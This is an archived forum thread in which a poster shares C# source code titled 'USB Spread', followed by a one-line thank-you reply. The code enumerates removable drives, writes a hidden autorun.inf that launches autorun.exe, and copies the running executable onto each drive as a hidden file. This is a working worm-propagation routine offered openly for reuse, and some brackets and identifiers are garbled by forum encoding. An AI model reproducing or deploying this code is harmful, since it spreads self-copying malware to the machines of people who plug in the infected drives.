PDA

View Full Version : [C#] USB Spread



Void
03-11-2015, 10:37 AM
using System;
using System.Net;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Windows.Forms;

class USBspread
{


static void Main(string***91;***93; args)
{

try
{
System.IO.DriveInfo***91;***93; drives = System.IO.DriveInfo.GetDrives(); // we find all removable drives
foreach (System.IO.DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter sw = new StreamWriter(drive.Name + "autorun.inf"); // create the autorun.inf
sw.WriteLine("***91;autorun***93;");
sw.WriteLine("open=autorun.exe");
sw.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); // We put autorun.inf hidden

string appPath = System.Diagnostics.Process.GetCurrentProcess().Mai nModule.FileName;

try
{
File.Copy(appPath, drive.Name + "autorun.exe", true); // We copy our exe into the removable drive
File.SetAttributes(drive.Name + "autorun.exe", File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.Hidden); // attribute hidden

}
finally
{
Console.WriteLine("Found removable drive {0}", drive.Name + "... // Successfully rooted! //");
}
}
else
{
Console.WriteLine("Not Removable drive : {0}", drive.Name);
}
}

}
catch (Exception e)
{

Console.WriteLine(e.ToString());
}
}
}

nonidentified
07-16-2017, 10:21 AM
looks nice ty 4sharing